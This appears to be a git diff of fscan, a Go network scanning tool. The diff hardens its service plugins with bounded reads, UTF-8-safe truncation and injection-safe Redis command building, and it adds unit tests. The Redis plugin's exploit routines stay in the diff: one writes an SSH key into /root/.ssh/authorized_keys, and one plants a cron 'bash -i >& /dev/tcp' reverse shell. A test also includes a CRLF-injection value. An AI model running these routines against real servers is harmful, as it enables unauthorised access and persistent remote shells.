testManagementInterface(ctx context.Context, info *comm defer func() { _ = resp.Body.Close() }() if resp.StatusCode == 200 || resp.StatusCode == 401 { - body, err := io.ReadAll(resp.Body) + body, err := readServiceHTTPBody(resp.Body) if err != nil { return &ScanResult{ Success: false, diff --git a/plugins/services/rabbitmq_test.go b/plugins/services/rabbitmq_test.go index 5697929..8610264 100644 --- a/plugins/services/rabbitmq_test.go +++ b/plugins/services/rabbitmq_test.go @@ -1,7 +1,11 @@ +//go:build plugin_rabbitmq || !plugin_selective + package services import ( + "bytes" "context" + "io" "net/http" "net/http/httptest" "testing" @@ -18,3 +22,41 @@ func TestRabbitMQManagementRejectsGenericHTTP(t *testing.T) { t.Fatalf("testManagementInterface reported generic HTTP as RabbitMQ: %#v", result) } } + +func TestReadRabbitMQAMQPResponseHandlesChunkedReads(t *testing.T) { + ok, err := readRabbitMQAMQPResponse(&chunkedByteReader{data: []byte("AMQP"), chunkSize: 1}) + if err != nil || !ok { + t.Fatalf("readRabbitMQAMQPResponse(AMQP) = %v, %v", ok, err) + } + + ok, err = readRabbitMQAMQPResponse(&chunkedByteReader{data: []byte{0x01, 0, 0, 0, 0, 0, 0, 0}, chunkSize: 2}) + if err != nil || !ok { + t.Fatalf("readRabbitMQAMQPResponse(frame) = %v, %v", ok, err) + } + + ok, err = readRabbitMQAMQPResponse(bytes.NewReader([]byte{0x01, 0, 0})) + if err == nil || ok { + t.Fatalf("readRabbitMQAMQPResponse(short) = %v, %v; want short read error", ok, err) + } +} + +type chunkedByteReader struct { + data []byte + chunkSize int +} + +func (r *chunkedByteReader) Read(p []byte) (int, error) { + if len(r.data) == 0 { + return 0, io.EOF + } + n := len(r.data) + if r.chunkSize > 0 && n > r.chunkSize { + n = r.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, r.data[:n]) + r.data = r.data[n:] + return n, nil +} diff --git a/plugins/services/redis.go b/plugins/services/redis.go index 839400a..9836621 100644 --- a/plugins/services/redis.go +++ b/plugins/services/redis.go @@ -23,6 +23,8 @@ type RedisPlugin struct { plugins.BasePlugin } +const maxRedisReplyBytes = 1 << 20 + // NewRedisPlugin 创建Redis插件 func NewRedisPlugin() *RedisPlugin { return &RedisPlugin{ @@ -98,10 +100,8 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr // 如果有密码,进行认证 if cred.Password != "" { - authCmd := fmt.Sprintf("AUTH %s\r\n", cred.Password) - _ = conn.SetWriteDeadline(time.Now().Add(timeout)) - if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil { + if _, writeErr := conn.Write(buildRedisAuthCommand(cred.Password)); writeErr != nil { _ = conn.Close() return &AuthResult{ Success: false, @@ -232,9 +232,8 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host // 如果有密码,先认证 if password != "" { - authCmd := fmt.Sprintf("AUTH %s\r\n", password) _ = conn.SetWriteDeadline(time.Now().Add(session.Config.Timeout)) - if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil { + if _, writeErr := conn.Write(buildRedisAuthCommand(password)); writeErr != nil { return } _ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout)) @@ -399,7 +398,7 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n func (p *RedisPlugin) readReply(conn net.Conn) (string, error) { _ = conn.SetReadDeadline(time.Now().Add(time.Second)) - bytes, err := io.ReadAll(conn) + bytes, err := io.ReadAll(io.LimitReader(conn, maxRedisReplyBytes)) if len(bytes) > 0 { err = nil } @@ -408,8 +407,8 @@ func (p *RedisPlugin) readReply(conn net.Conn) (string, error) { // sendCmd 发送Redis命令并检查OK响应 // 返回响应文本、是否成功、错误 -func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool, err error) { - if _, err = conn.Write([]byte(cmd)); err != nil { +func (p *RedisPlugin) sendCmd(conn net.Conn, cmd []byte) (text string, ok bool, err error) { + if _, err = conn.Write(cmd); err != nil { return "", false, err } text, err = p.readReply(conn) @@ -420,7 +419,7 @@ func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool, } func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, err error) { - if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil { + if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dbfilename")); err != nil { return } text, err := p.readReply(conn) @@ -435,7 +434,7 @@ func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, e dbfilename = text1[0] } - if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil { + if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dir")); err != nil { return } text, err = p.readReply(conn) @@ -463,14 +462,14 @@ func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, e } func (p *RedisPlugin) recoverDB(dbfilename string, dir string, conn net.Conn) (err error) { - if _, err = fmt.Fprintf(conn, "CONFIG SET dbfilename %s\r\n", dbfilename); err != nil { + if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dbfilename", dbfilename)); err != nil { return } if _, err = p.readReply(conn); err != nil { return } - if _, err = fmt.Fprintf(conn, "CONFIG SET dir %s\r\n", dir); err != nil { + if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dir", dir)); err != nil { return } if _, err = p.readReply(conn); err != nil { @@ -499,27 +498,25 @@ func (p *RedisPlugin) readFile(filename string) (string, error) { func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) { // 设置目录 - text, ok, err := p.sendCmd(conn, fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath)) + text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", dirPath)) if err != nil || !ok { return false, p.truncateText(text), err } // 设置文件名 - text, ok, err = p.sendCmd(conn, fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName)) + text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", fileName)) if err != nil || !ok { return false, p.truncateText(text), err } // 写入内容 - safeContent := strings.ReplaceAll(content, "\"", "\\\"") - safeContent = strings.ReplaceAll(safeContent, "\n", "\\n") - text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"%s\"\r\n", safeContent)) + text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", content)) if err != nil || !ok { return false, p.truncateText(text), err } // 保存 - text, ok, err = p.sendCmd(conn, "save\r\n") + text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE")) if err != nil || !ok { return false, p.truncateText(text), err } @@ -530,21 +527,18 @@ func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content // truncateText 截断文本到50字符 func (p *RedisPlugin) truncateText(text string) string { text = strings.TrimSpace(text) - if len(text) > 50 { - return text[:50] - } - return text + return truncateRunes(text, 50) } func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text string, err error) { // 设置目录 - text, ok, err := p.sendCmd(conn, "CONFIG SET dir /root/.ssh/\r\n") + text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/root/.ssh/")) if err != nil || !ok { return false, p.truncateText(text), err } // 设置文件名 - text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename authorized_keys\r\n") + text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "authorized_keys")) if err != nil || !ok { return false, p.truncateText(text), err } @@ -559,13 +553,13 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text } // 写入密钥 - text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)) + text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", "\n\n\n"+key+"\n\n\n")) if err != nil || !ok { return false, p.truncateText(text), err } // 保存 - text, ok, err = p.sendCmd(conn, "save\r\n") + text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE")) if err != nil || !ok { return false, p.truncateText(text), err } @@ -575,20 +569,20 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text string, err error) { // 尝试设置cron目录(两个可能的路径) - text, ok, err := p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/crontabs/\r\n") + text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/crontabs/")) if err != nil { return false, p.truncateText(text), err } if !ok { // 尝试备用路径 - text, ok, err = p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/\r\n") + text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/")) if err != nil || !ok { return false, p.truncateText(text), err } } // 设置文件名 - text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename root\r\n") + text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "root")) if err != nil || !ok { return false, p.truncateText(text), err } @@ -605,14 +599,14 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str } // 写入cron任务 - cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort) - text, ok, err = p.sendCmd(conn, cronCmd) + cronContent := fmt.Sprintf("\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\n", scanIp, scanPort) + text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "xx", cronContent)) if err != nil || !ok { return false, p.truncateText(text), err } // 保存 - text, ok, err = p.sendCmd(conn, "save\r\n") + text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE")) if err != nil || !ok { return false, p.truncateText(text), err } diff --git a/plugins/services/redis_test.go b/plugins/services/redis_test.go new file mode 100644 index 0000000..21e5b55 --- /dev/null +++ b/plugins/services/redis_test.go @@ -0,0 +1,34 @@ +//go:build plugin_redis || !plugin_selective + +package services + +import ( + "net" + "strings" + "testing" + "time" +) + +func TestRedisReadReplyIsBounded(t *testing.T) { + conn := &redisReplyTestConn{Reader: strings.NewReader(strings.Repeat("a", maxRedisReplyBytes+1024))} + + got, err := NewRedisPlugin().readReply(conn) + if err != nil { + t.Fatalf("readReply() error = %v", err) + } + if len(got) != maxRedisReplyBytes { + t.Fatalf("readReply() len = %d, want %d", len(got), maxRedisReplyBytes) + } +} + +type redisReplyTestConn struct { + *strings.Reader +} + +func (c *redisReplyTestConn) Write([]byte) (int, error) { return 0, nil } +func (c *redisReplyTestConn) Close() error { return nil } +func (c *redisReplyTestConn) LocalAddr() net.Addr { return nil } +func (c *redisReplyTestConn) RemoteAddr() net.Addr { return nil } +func (c *redisReplyTestConn) SetDeadline(time.Time) error { return nil } +func (c *redisReplyTestConn) SetReadDeadline(time.Time) error { return nil } +func (c *redisReplyTestConn) SetWriteDeadline(time.Time) error { return nil } diff --git a/plugins/services/rmi.go b/plugins/services/rmi.go index 322e9ed..42cd897 100644 --- a/plugins/services/rmi.go +++ b/plugins/services/rmi.go @@ -51,13 +51,7 @@ func (p *RMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co return &ScanResult{Success: false, Service: "rmi"} } - buf := make([]byte, 255) - n, err := conn.Read(buf) - if err != nil && n == 0 { - return &ScanResult{Success: false, Service: "rmi"} - } - - endpoint := parseRMIEndpoint(buf[:n]) + endpoint := readRMIEndpoint(conn) return &ScanResult{ Success: true, @@ -86,6 +80,25 @@ func parseRMIEndpoint(data []byte) string { return fmt.Sprintf("Java RMI endpoint=%s:%d", host, port) } +func readRMIEndpoint(conn interface { + Read([]byte) (int, error) +}) string { + header := make([]byte, 2) + if _, err := io.ReadFull(conn, header); err != nil { + return "Java RMI" + } + hostLen := int(header[0])<<8 | int(header[1]) + if hostLen <= 0 || hostLen > 249 { + return "Java RMI" + } + payload := make([]byte, hostLen+4) + if _, err := io.ReadFull(conn, payload); err != nil { + return "Java RMI" + } + data := append(header, payload...) + return parseRMIEndpoint(data) +} + func init() { RegisterPluginWithPorts("rmi", func() Plugin { return NewRMIPlugin() diff --git a/plugins/services/rmi_test.go b/plugins/services/rmi_test.go new file mode 100644 index 0000000..8885ace --- /dev/null +++ b/plugins/services/rmi_test.go @@ -0,0 +1,40 @@ +//go:build plugin_rmi || !plugin_selective + +package services + +import ( + "io" + "testing" +) + +type chunkedRMIReader struct { + data []byte + chunkSize int +} + +func (r *chunkedRMIReader) Read(p []byte) (int, error) { + if len(r.data) == 0 { + return 0, io.EOF + } + n := len(r.data) + if r.chunkSize > 0 && n > r.chunkSize { + n = r.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, r.data[:n]) + r.data = r.data[n:] + return n, nil +} + +func TestReadRMIEndpointHandlesChunkedReads(t *testing.T) { + data := []byte{0x00, 0x09} + data = append(data, "localhost"...) + data = append(data, 0x00, 0x00, 0x04, 0x4b) + + got := readRMIEndpoint(&chunkedRMIReader{data: data, chunkSize: 1}) + if got != "Java RMI endpoint=localhost:1099" { + t.Fatalf("readRMIEndpoint() = %q", got) + } +} diff --git a/plugins/services/rsync.go b/plugins/services/rsync.go index 7ebd751..5acc841 100644 --- a/plugins/services/rsync.go +++ b/plugins/services/rsync.go @@ -276,12 +276,9 @@ func (p *RsyncPlugin) getModules(conn net.Conn, config *common.Config) []string // 读取服务器版本 _ = conn.SetReadDeadline(time.Now().Add(timeout)) - versionBuf := make([]byte, 256) - n, err := conn.Read(versionBuf) - if err != nil { + if _, err := readRsyncLine(conn, 256); err != nil { return nil } - _ = string(versionBuf[:n]) // 回复客户端版本 _ = conn.SetWriteDeadline(time.Now().Add(timeout)) @@ -357,8 +354,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo } _ = conn.SetReadDeadline(time.Now().Add(timeout)) - response := make([]byte, 1024) - n, err := conn.Read(response) + responseStr, err := readRsyncLine(conn, 1024) if err != nil { return &ScanResult{ Success: false, @@ -367,8 +363,6 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo } } - responseStr := string(response[:n]) - var banner string if strings.Contains(responseStr, "@RSYNCD") { @@ -400,6 +394,26 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo } } +func readRsyncLine(conn interface { + Read([]byte) (int, error) +}, max int) (string, error) { + var line strings.Builder + var b [1]byte + for line.Len() < max { + if _, err := io.ReadFull(conn, b[:]); err != nil { + if err == io.EOF && line.Len() > 0 { + return line.String(), nil + } + return "", err + } + line.WriteByte(b[0]) + if b[0] == '\n' { + return line.String(), nil + } + } + return line.String(), nil +} + func init() { RegisterPluginWithPorts("rsync", func() Plugin { return NewRsyncPlugin() diff --git a/plugins/services/rsync_test.go b/plugins/services/rsync_test.go new file mode 100644 index 0000000..699159d --- /dev/null +++ b/plugins/services/rsync_test.go @@ -0,0 +1,39 @@ +//go:build (plugin_rsync || !plugin_selective) && go1.21 + +package services + +import ( + "io" + "testing" +) + +type chunkedRsyncReader struct { + data []byte + chunkSize int +} + +func (r *chunkedRsyncReader) Read(p []byte) (int, error) { + if len(r.data) == 0 { + return 0, io.EOF + } + n := len(r.data) + if r.chunkSize > 0 && n > r.chunkSize { + n = r.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, r.data[:n]) + r.data = r.data[n:] + return n, nil +} + +func TestReadRsyncLineHandlesChunkedReads(t *testing.T) { + got, err := readRsyncLine(&chunkedRsyncReader{data: []byte("@RSYNCD: 31.0\nrest"), chunkSize: 1}, 256) + if err != nil { + t.Fatalf("readRsyncLine() error = %v", err) + } + if got != "@RSYNCD: 31.0\n" { + t.Fatalf("readRsyncLine() = %q", got) + } +} diff --git a/plugins/services/smb_protocol.go b/plugins/services/smb_protocol.go index e4a4f08..91014c4 100644 --- a/plugins/services/smb_protocol.go +++ b/plugins/services/smb_protocol.go @@ -696,13 +696,9 @@ func classifySMBError(err error) ErrorType { // readSMBMessage 从连接读取NetBIOS消息 func readSMBMessage(conn net.Conn) ([]byte, error) { headerBuf := make([]byte, 4) - n, err := conn.Read(headerBuf) - if err != nil { + if _, err := io.ReadFull(conn, headerBuf); err != nil { return nil, err } - if n != 4 { - return nil, fmt.Errorf(i18n.GetText("netbios_header_too_short")+": %d", n) - } messageLength := int(headerBuf[0])<<24 | int(headerBuf[1])<<16 | int(headerBuf[2])<<8 | int(headerBuf[3]) @@ -715,13 +711,8 @@ func readSMBMessage(conn net.Conn) ([]byte, error) { } messageBuf := make([]byte, messageLength) - totalRead := 0 - for totalRead < messageLength { - n, err := conn.Read(messageBuf[totalRead:]) - if err != nil { - return nil, err - } - totalRead += n + if _, err := io.ReadFull(conn, messageBuf); err != nil { + return nil, err } result := make([]byte, 0, 4+messageLength) diff --git a/plugins/services/smb_protocol_test.go b/plugins/services/smb_protocol_test.go new file mode 100644 index 0000000..f1e465e --- /dev/null +++ b/plugins/services/smb_protocol_test.go @@ -0,0 +1,51 @@ +//go:build plugin_smb || !plugin_selective + +package services + +import ( + "io" + "net" + "testing" + "time" +) + +type chunkedSMBConn struct { + data []byte + chunkSize int +} + +func (c *chunkedSMBConn) Read(p []byte) (int, error) { + if len(c.data) == 0 { + return 0, io.EOF + } + n := len(c.data) + if c.chunkSize > 0 && n > c.chunkSize { + n = c.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, c.data[:n]) + c.data = c.data[n:] + return n, nil +} + +func (c *chunkedSMBConn) Write([]byte) (int, error) { return 0, nil } +func (c *chunkedSMBConn) Close() error { return nil } +func (c *chunkedSMBConn) LocalAddr() net.Addr { return nil } +func (c *chunkedSMBConn) RemoteAddr() net.Addr { return nil } +func (c *chunkedSMBConn) SetDeadline(time.Time) error { return nil } +func (c *chunkedSMBConn) SetReadDeadline(time.Time) error { return nil } +func (c *chunkedSMBConn) SetWriteDeadline(time.Time) error { + return nil +} + +func TestReadSMBMessageHandlesChunkedReads(t *testing.T) { + got, err := readSMBMessage(&chunkedSMBConn{data: []byte{0, 0, 0, 3, 'S', 'M', 'B'}, chunkSize: 1}) + if err != nil { + t.Fatalf("readSMBMessage() error = %v", err) + } + if string(got) != "\x00\x00\x00\x03SMB" { + t.Fatalf("readSMBMessage() = %q", got) + } +} diff --git a/plugins/services/snmp.go b/plugins/services/snmp.go index fd8a24f..0686575 100644 --- a/plugins/services/snmp.go +++ b/plugins/services/snmp.go @@ -244,10 +244,7 @@ func parseSNMPResponse(data []byte) string { if value.Tag == asn1.TagOctetString || value.Tag == asn1.TagUTF8String { s := strings.TrimSpace(string(value.Bytes)) - if len(s) > 200 { - s = s[:200] - } - return s + return truncateRunes(s, 200) } return fmt.Sprintf("(type=%d, len=%d)", value.Tag, len(value.Bytes)) } diff --git a/plugins/services/telnet.go b/plugins/services/telnet.go index d4865cb..ade5916 100644 --- a/plugins/services/telnet.go +++ b/plugins/services/telnet.go @@ -550,9 +550,7 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf banner = i18n.GetText("telnet_password_only") } else if cleaned != "" { displayCleaned := cleaned - if len(displayCleaned) > 50 { - displayCleaned = displayCleaned[:50] + "..." - } + displayCleaned = truncateRunes(displayCleaned, 50) banner = i18n.Tr("telnet_custom_welcome", displayCleaned) } else { banner = i18n.GetText("telnet_remote_terminal_service") @@ -735,10 +733,7 @@ func (p *TelnetPlugin) extractEvidence(output string) string { if strings.HasPrefix(line, "echo ") || strings.HasPrefix(line, "id") || strings.HasPrefix(line, "show ") { continue } - if len(line) > 100 { - return line[:100] + "..." - } - return line + return truncateRunes(line, 100) } return "" } diff --git a/plugins/services/telnet_test.go b/plugins/services/telnet_test.go new file mode 100644 index 0000000..5d01239 --- /dev/null +++ b/plugins/services/telnet_test.go @@ -0,0 +1,17 @@ +//go:build plugin_telnet || !plugin_selective + +package services + +import ( + "strings" + "testing" + "unicode/utf8" +) + +func TestTelnetExtractEvidenceTruncatesByRune(t *testing.T) { + p := NewTelnetPlugin() + got := p.extractEvidence("CMD_START\n" + strings.Repeat("界", 105) + "\nCMD_END") + if !utf8.ValidString(got) || len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") { + t.Fatalf("extractEvidence() = %q", got) + } +} diff --git a/plugins/services/text_protocol.go b/plugins/services/text_protocol.go new file mode 100644 index 0000000..285cb88 --- /dev/null +++ b/plugins/services/text_protocol.go @@ -0,0 +1,54 @@ +//go:build !plugin_selective || plugin_activemq || plugin_imap || plugin_pop3 || plugin_redis + +package services + +import ( + "fmt" + "strconv" + "strings" +) + +func hasLineBreak(s string) bool { + return strings.ContainsAny(s, "\r\n") +} + +func rejectLineBreaks(values ...string) error { + for _, value := range values { + if hasLineBreak(value) { + return fmt.Errorf("credential contains line break") + } + } + return nil +} + +func imapQuotedString(s string) (string, error) { + if hasLineBreak(s) { + return "", fmt.Errorf("imap credential contains line break") + } + return strconv.Quote(s), nil +} + +func buildIMAPLoginCommand(tag, username, password string) (string, error) { + quotedUser, err := imapQuotedString(username) + if err != nil { + return "", err + } + quotedPass, err := imapQuotedString(password) + if err != nil { + return "", err + } + return fmt.Sprintf("%s LOGIN %s %s\r\n", tag, quotedUser, quotedPass), nil +} + +func buildRedisAuthCommand(password string) []byte { + return buildRedisCommand("AUTH", password) +} + +func buildRedisCommand(args ...string) []byte { + var b strings.Builder + _, _ = fmt.Fprintf(&b, "*%d\r\n", len(args)) + for _, arg := range args { + _, _ = fmt.Fprintf(&b, "$%d\r\n%s\r\n", len(arg), arg) + } + return []byte(b.String()) +} diff --git a/plugins/services/text_protocol_test.go b/plugins/services/text_protocol_test.go new file mode 100644 index 0000000..614a727 --- /dev/null +++ b/plugins/services/text_protocol_test.go @@ -0,0 +1,44 @@ +//go:build !plugin_selective || plugin_activemq || plugin_imap || plugin_pop3 || plugin_redis + +package services + +import "testing" + +func TestBuildRedisAuthCommandUsesBulkString(t *testing.T) { + got := string(buildRedisAuthCommand("pa ss\r\nword")) + want := "*2\r\n$4\r\nAUTH\r\n$11\r\npa ss\r\nword\r\n" + if got != want { + t.Fatalf("buildRedisAuthCommand() = %q, want %q", got, want) + } +} + +func TestBuildRedisCommandKeepsInjectedNewlinesInsideBulkString(t *testing.T) { + got := string(buildRedisCommand("CONFIG", "SET", "dir", "/tmp\r\nSAVE")) + want := "*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$10\r\n/tmp\r\nSAVE\r\n" + if got != want { + t.Fatalf("buildRedisCommand() = %q, want %q", got, want) + } +} + +func TestBuildIMAPLoginCommandQuotesCredentials(t *testing.T) { + got, err := buildIMAPLoginCommand("a001", `user name`, `pa"ss\word`) + if err != nil { + t.Fatalf("buildIMAPLoginCommand() error = %v", err) + } + want := "a001 LOGIN \"user name\" \"pa\\\"ss\\\\word\"\r\n" + if got != want { + t.Fatalf("buildIMAPLoginCommand() = %q, want %q", got, want) + } +} + +func TestTextProtocolCredentialsRejectLineBreaks(t *testing.T) { + if _, err := buildIMAPLoginCommand("a001", "user", "pa\nss"); err == nil { + t.Fatal("buildIMAPLoginCommand() error = nil, want line break rejection") + } + if err := rejectLineBreaks("user", "pa\rss"); err == nil { + t.Fatal("rejectLineBreaks() error = nil, want line break rejection") + } + if err := rejectLineBreaks("user", "pass"); err != nil { + t.Fatalf("rejectLineBreaks() error = %v, want nil", err) + } +} diff --git a/plugins/services/tftp.go b/plugins/services/tftp.go index 6c02567..000b211 100644 --- a/plugins/services/tftp.go +++ b/plugins/services/tftp.go @@ -76,9 +76,7 @@ func parseTFTPResponse(data []byte) (string, bool) { return "TFTP DATA response", true case 0x05: msg := strings.TrimRight(string(data[4:]), "\x00") - if len(msg) > 160 { - msg = msg[:160] - } + msg = truncateRunes(msg, 160) if msg == "" { msg = "error response" } diff --git a/plugins/services/tftp_test.go b/plugins/services/tftp_test.go index f50faa5..9a876c9 100644 --- a/plugins/services/tftp_test.go +++ b/plugins/services/tftp_test.go @@ -5,6 +5,7 @@ package services import ( "strings" "testing" + "unicode/utf8" ) func TestTFTPReadRequestAndResponse(t *testing.T) { @@ -18,4 +19,9 @@ func TestTFTPReadRequestAndResponse(t *testing.T) { if !ok || !strings.Contains(banner, "not found") { t.Fatalf("unexpected tftp banner: %q ok=%v", banner, ok) } + + banner, ok = parseTFTPResponse(append([]byte{0x00, 0x05, 0x00, 0x01}, []byte(strings.Repeat("界", 165))...)) + if !ok || !utf8.ValidString(banner) || !strings.HasSuffix(banner, "...") { + t.Fatalf("unexpected tftp utf8 banner: %q ok=%v", banner, ok) + } } diff --git a/plugins/services/truncate.go b/plugins/services/truncate.go new file mode 100644 index 0000000..f4910c2 --- /dev/null +++ b/plugins/services/truncate.go @@ -0,0 +1,14 @@ +package services + +func truncateRunes(s string, maxRunes int) string { + if maxRunes < 0 { + return s + } + for i := range s { + if maxRunes == 0 { + return s[:i] + "..." + } + maxRunes-- + } + return s +} diff --git a/plugins/services/truncate_test.go b/plugins/services/truncate_test.go new file mode 100644 index 0000000..b760be3 --- /dev/null +++ b/plugins/services/truncate_test.go @@ -0,0 +1,31 @@ +//go:build plugin_redis || !plugin_selective + +package services + +import ( + "strings" + "testing" + "unicode/utf8" +) + +func TestTruncateRunesKeepsUTF8Valid(t *testing.T) { + got := truncateRunes(strings.Repeat("界", 205), 200) + if !utf8.ValidString(got) { + t.Fatalf("truncateRunes returned invalid utf8: %q", got) + } + if len([]rune(got)) != 203 || !strings.HasSuffix(got, "...") { + t.Fatalf("truncateRunes() = rune len %d value %q", len([]rune(got)), got) + } + + got = truncateRunes(strings.Repeat("界", 55), 50) + if !utf8.ValidString(got) || len([]rune(got)) != 53 || !strings.HasSuffix(got, "...") { + t.Fatalf("truncateRunes(50) = rune len %d value %q", len([]rune(got)), got) + } +} + +func TestRedisTruncateTextTruncatesByRune(t *testing.T) { + got := NewRedisPlugin().truncateText(strings.Repeat("界", 55)) + if !utf8.ValidString(got) || len([]rune(got)) != 53 { + t.Fatalf("truncateText() = %q", got) + } +} diff --git a/plugins/services/udp_parsers_test.go b/plugins/services/udp_parsers_test.go new file mode 100644 index 0000000..b7fe14b --- /dev/null +++ b/plugins/services/udp_parsers_test.go @@ -0,0 +1,120 @@ +//go:build !plugin_selective || (plugin_dns && plugin_tftp && plugin_bacnet && plugin_snmp) + +package services + +import ( + "encoding/binary" + "strings" + "testing" + + "github.com/shadow1ng/fscan/common" +) + +func TestDNSRootNSQueryAndResponse(t *testing.T) { + const id uint16 = 0x1234 + + query := buildDNSRootNSQuery(id) + if len(query) != 17 { + t.Fatalf("query length = %d, want 17", len(query)) + } + if got := binary.BigEndian.Uint16(query[0:2]); got != id { + t.Fatalf("query id = %#x, want %#x", got, id) + } + if got := binary.BigEndian.Uint16(query[13:15]); got != 2 { + t.Fatalf("query type = %d, want NS(2)", got) + } + + response := make([]byte, 12) + binary.BigEndian.PutUint16(response[0:2], id) + binary.BigEndian.PutUint16(response[2:4], 0x8183) + binary.BigEndian.PutUint16(response[4:6], 1) + binary.BigEndian.PutUint16(response[6:8], 2) + binary.BigEndian.PutUint16(response[8:10], 3) + binary.BigEndian.PutUint16(response[10:12], 4) + + banner, ok := parseDNSResponse(response, id) + if !ok { + t.Fatal("expected DNS response to parse") + } + for _, want := range []string{"rcode=3", "qd=1", "an=2", "ns=3", "ar=4"} { + if !strings.Contains(banner, want) { + t.Fatalf("banner %q missing %q", banner, want) + } + } + + if _, ok := parseDNSResponse(response, id+1); ok { + t.Fatal("response with wrong id should not parse") + } + response[2] = 0 + if _, ok := parseDNSResponse(response, id); ok { + t.Fatal("query packet should not parse as response") + } +} + +func TestTFTPRequestAndResponseParsing(t *testing.T) { + req := buildTFTPReadRequest("probe") + want := []byte{0, 1, 'p', 'r', 'o', 'b', 'e', 0, 'o', 'c', 't', 'e', 't', 0} + if string(req) != string(want) { + t.Fatalf("request = %v, want %v", req, want) + } + + if banner, ok := parseTFTPResponse([]byte{0, 3, 0, 1}); !ok || banner != "TFTP DATA response" { + t.Fatalf("DATA parse = %q/%v", banner, ok) + } + if banner, ok := parseTFTPResponse([]byte{0, 5, 0, 1, 'n', 'o', 't', ' ', 'f', 'o', 'u', 'n', 'd', 0}); !ok || banner != "TFTP not found" { + t.Fatalf("ERROR parse = %q/%v", banner, ok) + } + if banner, ok := parseTFTPResponse([]byte{0, 5, 0, 1, 0}); !ok || banner != "TFTP error response" { + t.Fatalf("empty ERROR parse = %q/%v", banner, ok) + } + if _, ok := parseTFTPResponse([]byte{0, 9, 0, 1}); ok { + t.Fatal("unknown opcode should not parse") + } +} + +func TestBACnetResponseParsing(t *testing.T) { + data := []byte{0x81, 0x0a, 0x00, 0x08, 0x01, 0x20, 0x10, 0x00} + if banner, ok := parseBACnetResponse(data); !ok || banner != "BACnet I-Am response" { + t.Fatalf("BACnet parse = %q/%v", banner, ok) + } + if _, ok := parseBACnetResponse([]byte{0x81, 0x0a, 0x00, 0x09, 0x01, 0x20, 0x10, 0x00}); ok { + t.Fatal("bad BACnet length should not parse") + } + if _, ok := parseBACnetResponse([]byte{0x82, 0x0a, 0x00, 0x06, 0x10, 0x00}); ok { + t.Fatal("bad BACnet marker should not parse") + } +} + +func TestSNMPBuildersAndCommunityList(t *testing.T) { + req := buildSNMPGetRequest("public", []int{1, 3, 6, 1, 2, 1, 1, 1, 0}) + if len(req) == 0 || req[0] != 0x30 { + t.Fatalf("SNMP request should be an ASN.1 sequence, got %v", req) + } + if got := parseSNMPResponse(nil); got != "" { + t.Fatalf("nil SNMP response = %q, want empty", got) + } + + cfg := common.NewConfig() + cfg.Credentials.Passwords = []string{"private", "custom", "public"} + communities := NewSNMPPlugin().buildCommunityList(cfg) + if !containsString(communities, "public") || !containsString(communities, "private") || !containsString(communities, 